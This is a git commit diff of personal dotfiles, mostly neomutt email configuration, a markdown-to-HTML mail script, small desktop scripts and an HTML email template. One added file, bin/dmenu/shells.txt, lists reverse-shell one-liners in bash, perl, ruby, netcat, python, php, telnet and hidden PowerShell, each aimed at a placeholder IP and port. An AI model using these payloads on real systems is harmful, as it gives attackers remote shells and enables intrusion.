Mostly mutt config and some tidying
This commit is contained in:
parent
c249f1076f
commit
fbe30c1f8e
21 changed files with 987 additions and 24 deletions
2
.gitignore
vendored
2
.gitignore
vendored
|
@ -3,3 +3,5 @@ qutebrowser/qsettings/
|
||||||
qutebrowser/bookmarks/
|
qutebrowser/bookmarks/
|
||||||
pandoc/templates/assets/fonts/
|
pandoc/templates/assets/fonts/
|
||||||
bin/aquarius-go
|
bin/aquarius-go
|
||||||
|
mutt/msmtprc
|
||||||
|
mutt/accounts/*
|
||||||
|
|
|
@ -9,5 +9,3 @@ cd "$dir" || exit
|
||||||
case "$file" in
|
case "$file" in
|
||||||
*\.doc|*\.docx) libreoffice --convert-to pdf "$file" ;;
|
*\.doc|*\.docx) libreoffice --convert-to pdf "$file" ;;
|
||||||
*) echo "Don't know how to convert $file"
|
*) echo "Don't know how to convert $file"
|
||||||
|
|
||||||
libreoffice --convert-to pdf Checkit\ website\ development\ brief.docx
|
|
|
@ -1,11 +0,0 @@
|
||||||
#!/usr/bin/env node
|
|
||||||
|
|
||||||
import convertBytesToHumanReadable from 'human-readable-bytes';
|
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
process.args.forEach( (val, index) => {
|
|
||||||
if( index == process.args.length - 1 ){
|
|
||||||
console.log( val );
|
|
||||||
}
|
|
||||||
});
|
|
|
@ -8,21 +8,21 @@ sleep .2
|
||||||
|
|
||||||
case $selection in
|
case $selection in
|
||||||
Lock)
|
Lock)
|
||||||
~/.config/i3/i3exit lock
|
i3exit lock
|
||||||
;;
|
;;
|
||||||
Logout)
|
Logout)
|
||||||
~/.config/i3/i3exit logout
|
i3exit logout
|
||||||
;;
|
;;
|
||||||
Suspend)
|
Suspend)
|
||||||
~/.config/i3/i3exit suspend
|
i3exit suspend
|
||||||
;;
|
;;
|
||||||
Hibernate)
|
Hibernate)
|
||||||
~/.config/i3/i3exit hibernate
|
i3exit hibernate
|
||||||
;;
|
;;
|
||||||
Reboot)
|
Reboot)
|
||||||
~/.config/i3/i3exit reboot
|
i3exit reboot
|
||||||
;;
|
;;
|
||||||
Shutdown)
|
Shutdown)
|
||||||
~/.config/i3/i3exit shutdown
|
i3exit shutdown
|
||||||
;;
|
;;
|
||||||
esac
|
esac
|
||||||
|
|
14
bin/dmenu/shells.txt
Normal file
14
bin/dmenu/shells.txt
Normal file
|
@ -0,0 +1,14 @@
|
||||||
|
BASH REVERSE SHELL|bash -i >& /dev/tcp/[IPADDR]/[PORT] 0>&1
|
||||||
|
BASH REVERSE SHELL|0<&196;exec 196<>/dev/tcp/[IPADDR]/[PORT]; sh <&196 >&196 2>&196
|
||||||
|
PERL REVERSE SHELL|perl -MIO -e '$p=fork;exit,if($p);$c=new IO::Socket::INET(PeerAddr,"[IPADDR]:[PORT]");STDIN->fdopen($c,r);$~->fdopen($c,w);system$_ while<>;'
|
||||||
|
PERL REVERSE SHELL WINDOWS|perl -MIO -e '$c=new IO::Socket::INET(PeerAddr,"[IPADDR]:[PORT]");STDIN->fdopen($c,r);$~->fdopen($c,w);system$_ while<>;'
|
||||||
|
RUBY REVERSE SHELL|ruby -rsocket -e 'exit if fork;c=TCPSocket.new("[IPADDR]","[PORT]");while(cmd=c.gets);IO.popen(cmd,"r"){|io|c.print io.read}end'
|
||||||
|
RUBY REVERSE SHELL|ruby -rsocket -e'f=TCPSocket.open("[IPADDR]",[PORT]).to_i;exec sprintf("/bin/sh -i <&%d >&%d 2>&%d",f,f,f)'
|
||||||
|
RUBY REVERSE SHELL WINDOWS|ruby -rsocket -e 'c=TCPSocket.new("[IPADDR]","[PORT]");while(cmd=c.gets);IO.popen(cmd,"r"){|io|c.print io.read}end'
|
||||||
|
NETCAT REVERSE SHELL|nc -c /bin/sh [IPADDR] [PORT]
|
||||||
|
NETCAT REVERSE SHELL|/bin/sh | nc [IPADDR] [PORT]
|
||||||
|
NETCAT REVERSE SHELL|rm -f /tmp/p; mknod /tmp/p p && nc [IPADDR] [PORT] 0/tmp/p
|
||||||
|
PYTHON REVERSE SHELL|python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("[IPADDR]",[PORT]));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'
|
||||||
|
PHP REVERSE SHELL|php -r '$sock=fsockopen("[IPADDR]",[PORT]);exec("/bin/sh -i <&3 >&3 2>&3");'
|
||||||
|
TELNET REVERSE SHELL|rm -f /tmp/p; mknod /tmp/p p && telnet [IPADDR] [PORT] 0/tmp/p
|
||||||
|
POWERSHELL REVERSE SHELL|powershell -NoP -NonI -W Hidden -Exec Bypass -Command New-Object System.Net.Sockets.TCPClient("[IPADDR]",[PORT]);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + "PS " + (pwd).Path + "> ";$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()
|
239
bin/emails/MIMEmbellish
Executable file
239
bin/emails/MIMEmbellish
Executable file
|
@ -0,0 +1,239 @@
|
||||||
|
#!/usr/bin/env python3
|
||||||
|
# Original Source: https://github.com/oblitum/dotfiles/blob/ArchLinux/.local/bin/MIMEmbellish
|
||||||
|
|
||||||
|
import re
|
||||||
|
import sys
|
||||||
|
import email
|
||||||
|
import shlex
|
||||||
|
import mimetypes
|
||||||
|
import subprocess
|
||||||
|
from copy import copy
|
||||||
|
from hashlib import md5
|
||||||
|
from email import charset
|
||||||
|
from email import encoders
|
||||||
|
from email.mime.text import MIMEText
|
||||||
|
from email.mime.multipart import MIMEMultipart
|
||||||
|
from email.mime.nonmultipart import MIMENonMultipart
|
||||||
|
from os.path import basename, splitext, expanduser
|
||||||
|
|
||||||
|
|
||||||
|
charset.add_charset('utf-8', charset.SHORTEST, '8bit')
|
||||||
|
|
||||||
|
|
||||||
|
def pandoc(from_format, to_format='markdown', plain='markdown', title=None):
|
||||||
|
markdown = ('markdown'
|
||||||
|
'-blank_before_blockquote')
|
||||||
|
|
||||||
|
if from_format == 'plain':
|
||||||
|
from_format = plain
|
||||||
|
if from_format == 'markdown':
|
||||||
|
from_format = markdown
|
||||||
|
if to_format == 'markdown':
|
||||||
|
to_format = markdown
|
||||||
|
|
||||||
|
command = 'pandoc -f {} -t {} --standalone --highlight-style=tango'
|
||||||
|
if to_format in ('html', 'html5'):
|
||||||
|
if title is not None:
|
||||||
|
command += ' --variable=pagetitle:{}'.format(shlex.quote(title))
|
||||||
|
command += ' --webtex --template={}'.format(
|
||||||
|
expanduser('~/.pandoc/templates/email.html'))
|
||||||
|
return command.format(from_format, to_format)
|
||||||
|
|
||||||
|
|
||||||
|
def gmailfy(payload):
|
||||||
|
return payload.replace('<blockquote>',
|
||||||
|
'<blockquote class="gmail_quote" style="'
|
||||||
|
'padding: 0 7px 0 7px;'
|
||||||
|
'border-left: 2px solid #cccccc;'
|
||||||
|
'font-style: italic;'
|
||||||
|
'margin: 0 0 7px 3px;'
|
||||||
|
'">')
|
||||||
|
|
||||||
|
|
||||||
|
def make_alternative(message, part):
|
||||||
|
alternative = convert(part, 'html',
|
||||||
|
pandoc(part.get_content_subtype(),
|
||||||
|
to_format='html',
|
||||||
|
title=message.get('Subject')))
|
||||||
|
alternative.set_payload(gmailfy(alternative.get_payload()))
|
||||||
|
return alternative
|
||||||
|
|
||||||
|
|
||||||
|
def make_replacement(message, part):
|
||||||
|
return convert(part, 'plain', pandoc(part.get_content_subtype()))
|
||||||
|
|
||||||
|
|
||||||
|
def convert(part, to_subtype, command):
|
||||||
|
payload = part.get_payload()
|
||||||
|
if isinstance(payload, str):
|
||||||
|
payload = payload.encode('utf-8')
|
||||||
|
else:
|
||||||
|
payload = part.get_payload(None, True)
|
||||||
|
if not isinstance(payload, bytes):
|
||||||
|
payload = payload.encode('utf-8')
|
||||||
|
process = subprocess.run(
|
||||||
|
shlex.split(command),
|
||||||
|
input=payload, stdout=subprocess.PIPE, check=True)
|
||||||
|
return MIMEText(process.stdout, to_subtype, 'utf-8')
|
||||||
|
|
||||||
|
|
||||||
|
def with_alternative(parent, part, from_signed,
|
||||||
|
make_alternative=make_alternative,
|
||||||
|
make_replacement=None):
|
||||||
|
try:
|
||||||
|
alternative = make_alternative(parent or part, from_signed or part)
|
||||||
|
replacement = (make_replacement(parent or part, part)
|
||||||
|
if from_signed is None and make_replacement is not None
|
||||||
|
else part)
|
||||||
|
except:
|
||||||
|
return parent or part
|
||||||
|
envelope = MIMEMultipart('alternative')
|
||||||
|
if parent is None:
|
||||||
|
for k, v in part.items():
|
||||||
|
if (k.lower() != 'mime-version'
|
||||||
|
and not k.lower().startswith('content-')):
|
||||||
|
envelope.add_header(k, v)
|
||||||
|
del part[k]
|
||||||
|
envelope.attach(replacement)
|
||||||
|
envelope.attach(alternative)
|
||||||
|
if parent is None:
|
||||||
|
return envelope
|
||||||
|
payload = parent.get_payload()
|
||||||
|
payload[payload.index(part)] = envelope
|
||||||
|
return parent
|
||||||
|
|
||||||
|
|
||||||
|
def tag_attachments(message):
|
||||||
|
if message.get_content_type() == 'multipart/mixed':
|
||||||
|
for part in message.get_payload():
|
||||||
|
if (part.get_content_maintype() in ['image']
|
||||||
|
and 'Content-ID' not in part):
|
||||||
|
filename = part.get_param('filename',
|
||||||
|
header='Content-Disposition')
|
||||||
|
if isinstance(filename, tuple):
|
||||||
|
filename = str(filename[2], filename[0] or 'us-ascii')
|
||||||
|
if filename:
|
||||||
|
filename = splitext(basename(filename))[0]
|
||||||
|
if filename:
|
||||||
|
part.add_header('Content-ID', '<{}>'.format(filename))
|
||||||
|
return message
|
||||||
|
|
||||||
|
|
||||||
|
def attachment_from_file_path(attachment_path):
|
||||||
|
try:
|
||||||
|
mime, encoding = mimetypes.guess_type(attachment_path, strict=False)
|
||||||
|
maintype, subtype = mime.split('/')
|
||||||
|
with open(attachment_path, 'rb') as payload:
|
||||||
|
attachment = MIMENonMultipart(maintype, subtype)
|
||||||
|
attachment.set_payload(payload.read())
|
||||||
|
encoders.encode_base64(attachment)
|
||||||
|
if encoding:
|
||||||
|
attachment.add_header('Content-Encoding', encoding)
|
||||||
|
return attachment
|
||||||
|
except:
|
||||||
|
return None
|
||||||
|
|
||||||
|
|
||||||
|
attachment_path_pattern = re.compile(r'\]\s*\(\s*file://(/[^)]*\S)\s*\)|'
|
||||||
|
r'\]\s*:\s*file://(/.*\S)\s*$',
|
||||||
|
re.MULTILINE)
|
||||||
|
|
||||||
|
|
||||||
|
def link_attachments(payload):
|
||||||
|
attached = []
|
||||||
|
attachments = []
|
||||||
|
|
||||||
|
def on_match(match):
|
||||||
|
if match.group(1):
|
||||||
|
attachment_path = match.group(1)
|
||||||
|
cid_fmt = '](cid:{})'
|
||||||
|
else:
|
||||||
|
attachment_path = match.group(2)
|
||||||
|
cid_fmt = ']: cid:{}'
|
||||||
|
attachment_id = md5(attachment_path.encode()).hexdigest()
|
||||||
|
if attachment_id in attached:
|
||||||
|
return cid_fmt.format(attachment_id)
|
||||||
|
attachment = attachment_from_file_path(attachment_path)
|
||||||
|
if attachment:
|
||||||
|
attachment.add_header('Content-ID', '<{}>'.format(attachment_id))
|
||||||
|
attachments.append(attachment)
|
||||||
|
attached.append(attachment_id)
|
||||||
|
return cid_fmt.format(attachment_id)
|
||||||
|
return match.group()
|
||||||
|
|
||||||
|
return attachments, attachment_path_pattern.sub(on_match, payload)
|
||||||
|
|
||||||
|
|
||||||
|
def with_local_attachments(parent, part, from_signed,
|
||||||
|
link_attachments=link_attachments):
|
||||||
|
if from_signed is None:
|
||||||
|
attachments, payload = link_attachments(part.get_payload())
|
||||||
|
part.set_payload(payload)
|
||||||
|
else:
|
||||||
|
attachments, payload = link_attachments(from_signed.get_payload())
|
||||||
|
from_signed = copy(from_signed)
|
||||||
|
from_signed.set_payload(payload)
|
||||||
|
if not attachments:
|
||||||
|
return parent, part, from_signed
|
||||||
|
if parent is None:
|
||||||
|
parent = MIMEMultipart('mixed')
|
||||||
|
for k, v in part.items():
|
||||||
|
if (k.lower() != 'mime-version'
|
||||||
|
and not k.lower().startswith('content-')):
|
||||||
|
parent.add_header(k, v)
|
||||||
|
del part[k]
|
||||||
|
parent.attach(part)
|
||||||
|
for attachment in attachments:
|
||||||
|
parent.attach(attachment)
|
||||||
|
return parent, part, from_signed
|
||||||
|
|
||||||
|
|
||||||
|
def is_target(part, target_subtypes):
|
||||||
|
return (part.get('Content-Disposition', 'inline') == 'inline'
|
||||||
|
and part.get_content_maintype() == 'text'
|
||||||
|
and part.get_content_subtype() in target_subtypes)
|
||||||
|
|
||||||
|
|
||||||
|
def pick_from_signed(part, target_subtypes):
|
||||||
|
for from_signed in part.get_payload():
|
||||||
|
if is_target(from_signed, target_subtypes):
|
||||||
|
return from_signed
|
||||||
|
|
||||||
|
|
||||||
|
def seek_target(message, target_subtypes=['plain', 'markdown']):
|
||||||
|
if message.is_multipart():
|
||||||
|
if message.get_content_type() == 'multipart/signed':
|
||||||
|
part = pick_from_signed(message, target_subtypes)
|
||||||
|
if part is not None:
|
||||||
|
return None, message, part
|
||||||
|
elif message.get_content_type() == 'multipart/mixed':
|
||||||
|
for part in message.get_payload():
|
||||||
|
if part.is_multipart():
|
||||||
|
if part.get_content_type() == 'multipart/signed':
|
||||||
|
from_signed = pick_from_signed(part, target_subtypes)
|
||||||
|
if from_signed is not None:
|
||||||
|
return message, part, from_signed
|
||||||
|
elif is_target(part, target_subtypes):
|
||||||
|
return message, part, None
|
||||||
|
else:
|
||||||
|
if is_target(message, target_subtypes):
|
||||||
|
return None, message, None
|
||||||
|
return None, None, None
|
||||||
|
|
||||||
|
|
||||||
|
def main():
|
||||||
|
try:
|
||||||
|
message = email.message_from_file(sys.stdin)
|
||||||
|
parent, part, from_signed = seek_target(message)
|
||||||
|
if (parent, part, from_signed) == (None, None, None):
|
||||||
|
print(message)
|
||||||
|
return
|
||||||
|
tag_attachments(message)
|
||||||
|
print(with_alternative(
|
||||||
|
*with_local_attachments(parent, part, from_signed)))
|
||||||
|
except (BrokenPipeError, KeyboardInterrupt):
|
||||||
|
pass
|
||||||
|
|
||||||
|
|
||||||
|
if __name__ == '__main__':
|
||||||
|
main()
|
9
bin/emails/mutt
Executable file
9
bin/emails/mutt
Executable file
|
@ -0,0 +1,9 @@
|
||||||
|
#!/usr/bin/env sh
|
||||||
|
|
||||||
|
#Start proton mail bridge if not running
|
||||||
|
if [ ! $(pgrep -f protonmail-br) ]; then
|
||||||
|
setsid protonmail-bridge --no-window &
|
||||||
|
sleep 5
|
||||||
|
fi
|
||||||
|
|
||||||
|
neomutt
|
4
bin/emails/send-from-mutt
Executable file
4
bin/emails/send-from-mutt
Executable file
|
@ -0,0 +1,4 @@
|
||||||
|
#!/bin/sh
|
||||||
|
|
||||||
|
EMAIL=$(pass Email/protonmail | grep BridgeUsername | cut -d':' -f2)
|
||||||
|
~/.bin/emails/MIMEmbellish | msmtp --user "$EMAIL" "$@"
|
14
bin/volume
Executable file
14
bin/volume
Executable file
|
@ -0,0 +1,14 @@
|
||||||
|
#!/usr/bin/env sh
|
||||||
|
|
||||||
|
# A simple script to adjust the volume
|
||||||
|
# Requires pulse and amixer
|
||||||
|
|
||||||
|
case "$1" in
|
||||||
|
"up")
|
||||||
|
amixer -q -D default sset Master 5%+ unmute
|
||||||
|
;;
|
||||||
|
"down")
|
||||||
|
amixer -q -D default sset Master 5%- unmute
|
||||||
|
esac
|
||||||
|
|
||||||
|
command -v notify-send && notify-send "Volume" "$(amixer -D default sget Master | grep -o '\[.*\%' | tr -d '[')"
|
|
@ -1,3 +0,0 @@
|
||||||
#!/usr/bin/env bash
|
|
||||||
|
|
||||||
/usr/bin/whoami > /tmp/testing
|
|
|
@ -63,3 +63,6 @@ wp search-replace --all-tables --url="${localDomains[0]}" "$sshFolderPath" "$pub
|
||||||
|
|
||||||
# Removes the db.dump that we created
|
# Removes the db.dump that we created
|
||||||
rm "$public_html"/db.dump
|
rm "$public_html"/db.dump
|
||||||
|
|
||||||
|
#Makes sure everything in the uploads folder on the server is also on the local
|
||||||
|
rsync -ruh --progress "${sshKey}:${sshFolder}/wp-content/uploads/" "${public_html}/wp-content/uploads
|
||||||
|
|
1
mutt/mailcap
Normal file
1
mutt/mailcap
Normal file
|
@ -0,0 +1 @@
|
||||||
|
text/html; w3m -I %{charset} -T text/html; copiousoutput;
|
95
mutt/muttrc
Normal file
95
mutt/muttrc
Normal file
|
@ -0,0 +1,95 @@
|
||||||
|
# vim: filetype=neomuttrc
|
||||||
|
source "~/.config/mutt/accounts/protonmail"
|
||||||
|
|
||||||
|
set header_cache = ~/.cache/mutt
|
||||||
|
|
||||||
|
|
||||||
|
set sort = threads
|
||||||
|
set sort_aux = reverse-last-date-received
|
||||||
|
set date_format="%y/%m/%d %I:%M%p"
|
||||||
|
set forward_format = "Fwd: %s" # format of subject when forwarding
|
||||||
|
set forward_quote # include message in forwards
|
||||||
|
set include # include message in replies
|
||||||
|
|
||||||
|
set editor = "vim +':set textwidth=0'"
|
||||||
|
set include = yes
|
||||||
|
set new_mail_command = "notify-send 'New Email'"
|
||||||
|
set sendmail = "/home/jonathan/.bin/emails/send-from-mutt"
|
||||||
|
set edit_headers=yes
|
||||||
|
|
||||||
|
|
||||||
|
set mailcap_path = "~/.config/mutt/mailcap"
|
||||||
|
auto_view text/html
|
||||||
|
auto_view application/pgp-encrypted
|
||||||
|
alternative_order text/plain text/enriched text/html
|
||||||
|
|
||||||
|
macro attach 'V' "<pipe-entry>cat >~/.cache/mutt/mail.html && qutebrowser ~/.cache/mutt/mail.html && rm ~/.cache/mutt/mail.html<enter>"
|
||||||
|
|
||||||
|
# Formatting
|
||||||
|
|
||||||
|
# Default index colors:
|
||||||
|
color index yellow default '.*'
|
||||||
|
color index_author red default '.*'
|
||||||
|
color index_number blue default
|
||||||
|
color index_subject cyan default '.*'
|
||||||
|
|
||||||
|
# New mail is boldened:
|
||||||
|
color index brightyellow black "~N"
|
||||||
|
color index_author brightred black "~N"
|
||||||
|
color index_subject brightcyan black "~N"
|
||||||
|
|
||||||
|
# Other colors and aesthetic settings:
|
||||||
|
mono bold bold
|
||||||
|
mono underline underline
|
||||||
|
mono indicator reverse
|
||||||
|
mono error bold
|
||||||
|
color normal default default
|
||||||
|
color indicator brightblack white
|
||||||
|
color sidebar_highlight red default
|
||||||
|
color sidebar_divider brightblack black
|
||||||
|
color sidebar_flagged red black
|
||||||
|
color sidebar_new green black
|
||||||
|
color normal brightyellow default
|
||||||
|
color error red default
|
||||||
|
color tilde black default
|
||||||
|
color message cyan default
|
||||||
|
color markers red white
|
||||||
|
color attachment white default
|
||||||
|
color search brightmagenta default
|
||||||
|
color status brightyellow black
|
||||||
|
color hdrdefault brightgreen default
|
||||||
|
color quoted green default
|
||||||
|
color quoted1 blue default
|
||||||
|
color quoted2 cyan default
|
||||||
|
color quoted3 yellow default
|
||||||
|
color quoted4 red default
|
||||||
|
color quoted5 brightred default
|
||||||
|
color signature brightgreen default
|
||||||
|
color bold black default
|
||||||
|
color underline black default
|
||||||
|
color normal default default
|
||||||
|
|
||||||
|
# Regex highlighting:
|
||||||
|
color header blue default ".*"
|
||||||
|
color header brightmagenta default "^(From)"
|
||||||
|
color header brightcyan default "^(Subject)"
|
||||||
|
color header brightwhite default "^(CC|BCC)"
|
||||||
|
color body brightred default "[\-\.+_a-zA-Z0-9]+@[\-\.a-zA-Z0-9]+" # Email addresses
|
||||||
|
color body brightblue default "(https?|ftp)://[\-\.,/%~_:?&=\#a-zA-Z0-9]+" # URL
|
||||||
|
color body green default "\`[^\`]*\`" # Green text between ` and `
|
||||||
|
color body brightblue default "^# \.*" # Headings as bold blue
|
||||||
|
color body brightcyan default "^## \.*" # Subheadings as bold cyan
|
||||||
|
color body brightgreen default "^### \.*" # Subsubheadings as bold green
|
||||||
|
color body yellow default "^(\t| )*(-|\\*) \.*" # List items as yellow
|
||||||
|
color body brightcyan default "[;:][-o][)/(|]" # emoticons
|
||||||
|
color body brightcyan default "[;:][)(|]" # emoticons
|
||||||
|
color body brightcyan default "[ ][*][^*]*[*][ ]?" # more emoticon?
|
||||||
|
color body brightcyan default "[ ]?[*][^*]*[*][ ]" # more emoticon?
|
||||||
|
color body red default "(BAD signature)"
|
||||||
|
color body cyan default "(Good signature)"
|
||||||
|
color body brightblack default "^gpg: Good signature .*"
|
||||||
|
color body brightyellow default "^gpg: "
|
||||||
|
color body brightyellow red "^gpg: BAD signature from.*"
|
||||||
|
mono body bold "^gpg: Good signature"
|
||||||
|
mono body bold "^gpg: BAD signature from.*"
|
||||||
|
color body red default "([a-z][a-z0-9+-]*://(((([a-z0-9_.!~*'();:&=+$,-]|%[0-9a-f][0-9a-f])*@)?((([a-z0-9]([a-z0-9-]*[a-z0-9])?)\\.)*([a-z]([a-z0-9-]*[a-z0-9])?)\\.?|[0-9]+\\.[0-9]+\\.[0-9]+\\.[0-9]+)(:[0-9]+)?)|([a-z0-9_.!~*'()$,;:@&=+-]|%[0-9a-f][0-9a-f])+)(/([a-z0-9_.!~*'():@&=+$,-]|%[0-9a-f][0-9a-f])*(;([a-z0-9_.!~*'():@&=+$,-]|%[0-9a-f][0-9a-f])*)*(/([a-z0-9_.!~*'():@&=+$,-]|%[0-9a-f][0-9a-f])*(;([a-z0-9_.!~*'():@&=+$,-]|%[0-9a-f][0-9a-f])*)*)*)?(\\?([a-z0-9_.!~*'();/?:@&=+$,-]|%[0-9a-f][0-9a-f])*)?(#([a-z0-9_.!~*'();/?:@&=+$,-]|%[0-9a-f][0-9a-f])*)?|(www|ftp)\\.(([a-z0-9]([a-z0-9-]*[a-z0-9])?)\\.)*([a-z]([a-z0-9-]*[a-z0-9])?)\\.?(:[0-9]+)?(/([-a-z0-9_.!~*'():@&=+$,]|%[0-9a-f][0-9a-f])*(;([-a-z0-9_.!~*'():@&=+$,]|%[0-9a-f][0-9a-f])*)*(/([-a-z0-9_.!~*'():@&=+$,]|%[0-9a-f][0-9a-f])*(;([-a-z0-9_.!~*'():@&=+$,]|%[0-9a-f][0-9a-f])*)*)*)?(\\?([-a-z0-9_.!~*'();/?:@&=+$,]|%[0-9a-f][0-9a-f])*)?(#([-a-z0-9_.!~*'();/?:@&=+$,]|%[0-9a-f][0-9a-f])*)?)[^].,:;!)? \t\r\n<>\"]"
|
598
pandoc/templates/email.html
Normal file
598
pandoc/templates/email.html
Normal file
|
@ -0,0 +1,598 @@
|
||||||
|
<!DOCTYPE html>
|
||||||
|
<html>
|
||||||
|
<head>
|
||||||
|
<meta charset="utf-8">
|
||||||
|
<meta name="ProgId" content="Word.Document">
|
||||||
|
<meta name="viewport" content="width=device-width, initial-scale=1">
|
||||||
|
<meta http-equiv="X-UA-Compatible" content="IE=edge" />
|
||||||
|
<meta http-equiv="Content-Type" content="text/html; charset=utf-8" />
|
||||||
|
$for(author-meta)$
|
||||||
|
<meta name="author" content="$author-meta$" />
|
||||||
|
$endfor$
|
||||||
|
$if(date-meta)$
|
||||||
|
<meta name="date" content="$date-meta$" />
|
||||||
|
$endif$
|
||||||
|
$if(keywords)$
|
||||||
|
<meta name="keywords" content="$for(keywords)$$keywords$$sep$, $endfor$" />
|
||||||
|
$endif$
|
||||||
|
<title>$if(title-prefix)$$title-prefix$ – $endif$$pagetitle$</title>
|
||||||
|
<style type="text/css">
|
||||||
|
body, table, td, a {
|
||||||
|
-webkit-text-size-adjust: 100%;
|
||||||
|
-ms-text-size-adjust: 100%;
|
||||||
|
}
|
||||||
|
|
||||||
|
table, td {
|
||||||
|
mso-table-lspace: 0pt;
|
||||||
|
mso-table-rspace: 0pt;
|
||||||
|
}
|
||||||
|
|
||||||
|
img {
|
||||||
|
-ms-interpolation-mode: bicubic;
|
||||||
|
}
|
||||||
|
|
||||||
|
img {
|
||||||
|
border: 0;
|
||||||
|
height: auto;
|
||||||
|
line-height: 100%;
|
||||||
|
outline: none;
|
||||||
|
text-decoration: none;
|
||||||
|
}
|
||||||
|
|
||||||
|
body {
|
||||||
|
height: 100% !important;
|
||||||
|
margin: 0 !important;
|
||||||
|
padding: 0 !important;
|
||||||
|
width: 100% !important;
|
||||||
|
}
|
||||||
|
|
||||||
|
figure {
|
||||||
|
margin: 0;
|
||||||
|
padding: 0;
|
||||||
|
}
|
||||||
|
|
||||||
|
article, aside, details, figcaption, figure,footer, header, hgroup, menu, nav, section {
|
||||||
|
display: block;
|
||||||
|
}
|
||||||
|
|
||||||
|
a[x-apple-data-detectors] {
|
||||||
|
color: inherit !important;
|
||||||
|
text-decoration: none !important;
|
||||||
|
font-size: inherit !important;
|
||||||
|
font-family: inherit !important;
|
||||||
|
font-weight: inherit !important;
|
||||||
|
line-height: inherit !important;
|
||||||
|
}
|
||||||
|
|
||||||
|
div[style*="margin: 16px 0;"] {
|
||||||
|
margin: 0 !important;
|
||||||
|
}
|
||||||
|
|
||||||
|
table,td,div,a {
|
||||||
|
box-sizing: border-box;
|
||||||
|
}
|
||||||
|
|
||||||
|
img {
|
||||||
|
-ms-interpolation-mode: bicubic;
|
||||||
|
max-width: 100%;
|
||||||
|
display: inline-block;
|
||||||
|
padding-top: 7px;
|
||||||
|
}
|
||||||
|
|
||||||
|
body, .body {
|
||||||
|
font-family: Georgia, "Times New Roman", Times, serif;
|
||||||
|
font-size: 14px;
|
||||||
|
line-height: 1.2;
|
||||||
|
height: 100% !important;
|
||||||
|
width: 100% !important;
|
||||||
|
margin: 0;
|
||||||
|
padding: 0;
|
||||||
|
-webkit-font-smoothing: antialiased;
|
||||||
|
-ms-text-size-adjust: 100%;
|
||||||
|
-webkit-text-size-adjust: 100%;
|
||||||
|
}
|
||||||
|
|
||||||
|
table {
|
||||||
|
border-collapse: separate !important;
|
||||||
|
mso-table-lspace: 0pt;
|
||||||
|
mso-table-rspace: 0pt;
|
||||||
|
width: 100%;
|
||||||
|
}
|
||||||
|
|
||||||
|
table td {
|
||||||
|
font-family: Georgia, "Times New Roman", Times, serif;
|
||||||
|
font-size: 14px;
|
||||||
|
vertical-align: top;
|
||||||
|
}
|
||||||
|
|
||||||
|
.ExternalClass {
|
||||||
|
width: 100%;
|
||||||
|
}
|
||||||
|
|
||||||
|
.ExternalClass,.ExternalClass p,.ExternalClass span,.ExternalClass font,.ExternalClass td,.ExternalClass div {
|
||||||
|
line-height: 100%;
|
||||||
|
}
|
||||||
|
|
||||||
|
strong, b {
|
||||||
|
font-weight: bold;
|
||||||
|
}
|
||||||
|
|
||||||
|
.ajT {
|
||||||
|
height: none;
|
||||||
|
padding-top: none;
|
||||||
|
}
|
||||||
|
|
||||||
|
body {
|
||||||
|
background-color: #ffffff;
|
||||||
|
}
|
||||||
|
|
||||||
|
.body {
|
||||||
|
background-color: #ffffff;
|
||||||
|
width: 100%;
|
||||||
|
}
|
||||||
|
|
||||||
|
.container {
|
||||||
|
display: block;
|
||||||
|
Margin: 0 auto !important;
|
||||||
|
max-width: 800px;
|
||||||
|
padding: 10px;
|
||||||
|
width: 100% !important;
|
||||||
|
}
|
||||||
|
|
||||||
|
.content {
|
||||||
|
display: block;
|
||||||
|
margin: 0 auto;
|
||||||
|
max-width: 800px;
|
||||||
|
padding: 10px;
|
||||||
|
}
|
||||||
|
|
||||||
|
.main {
|
||||||
|
background: #ffffff;
|
||||||
|
border: none;
|
||||||
|
border-radius: 4px;
|
||||||
|
width: 100%;
|
||||||
|
}
|
||||||
|
|
||||||
|
.wrapper {
|
||||||
|
padding: 10px;
|
||||||
|
}
|
||||||
|
|
||||||
|
.content-block {
|
||||||
|
padding: 0 0 10px;
|
||||||
|
}
|
||||||
|
|
||||||
|
.header {
|
||||||
|
margin-bottom: 10px;
|
||||||
|
margin-top: 0px;
|
||||||
|
width: 100%;
|
||||||
|
}
|
||||||
|
|
||||||
|
.footer {
|
||||||
|
clear: both;
|
||||||
|
width: 100%;
|
||||||
|
}
|
||||||
|
|
||||||
|
.footer * {
|
||||||
|
color: #7F7F7F;
|
||||||
|
font-size: 12px;
|
||||||
|
}
|
||||||
|
|
||||||
|
.footer td {
|
||||||
|
padding: 20px 0;
|
||||||
|
}
|
||||||
|
|
||||||
|
h1,h2,h3,h4,h5,h6 {
|
||||||
|
color: #222222 !important;
|
||||||
|
font-family: "Roboto", "Helvetica Neue", "Segoe UI", Helvetica, Arial, sans-serif;
|
||||||
|
font-weight: bold;
|
||||||
|
line-height: 1.2;
|
||||||
|
margin: 0;
|
||||||
|
margin-bottom: 7px;
|
||||||
|
margin-top: 10.5px;
|
||||||
|
}
|
||||||
|
|
||||||
|
h1, h2 {
|
||||||
|
margin-bottom: 10.5px;
|
||||||
|
margin-top: 14px;
|
||||||
|
}
|
||||||
|
|
||||||
|
h1 {
|
||||||
|
font-size: 22.4px;
|
||||||
|
text-transform: capitalize;
|
||||||
|
}
|
||||||
|
|
||||||
|
h2 {
|
||||||
|
font-size: 19.6px;
|
||||||
|
}
|
||||||
|
|
||||||
|
h3 {
|
||||||
|
font-size: 16.8px;
|
||||||
|
}
|
||||||
|
|
||||||
|
h4 {
|
||||||
|
font-size: 15.4px;
|
||||||
|
}
|
||||||
|
|
||||||
|
h5 {
|
||||||
|
font-size: 14px;
|
||||||
|
}
|
||||||
|
|
||||||
|
h6 {
|
||||||
|
font-size: 12.6px;
|
||||||
|
}
|
||||||
|
|
||||||
|
p,ul,ol {
|
||||||
|
font-family: Georgia, "Times New Roman", Times, serif;
|
||||||
|
font-size: 14px;
|
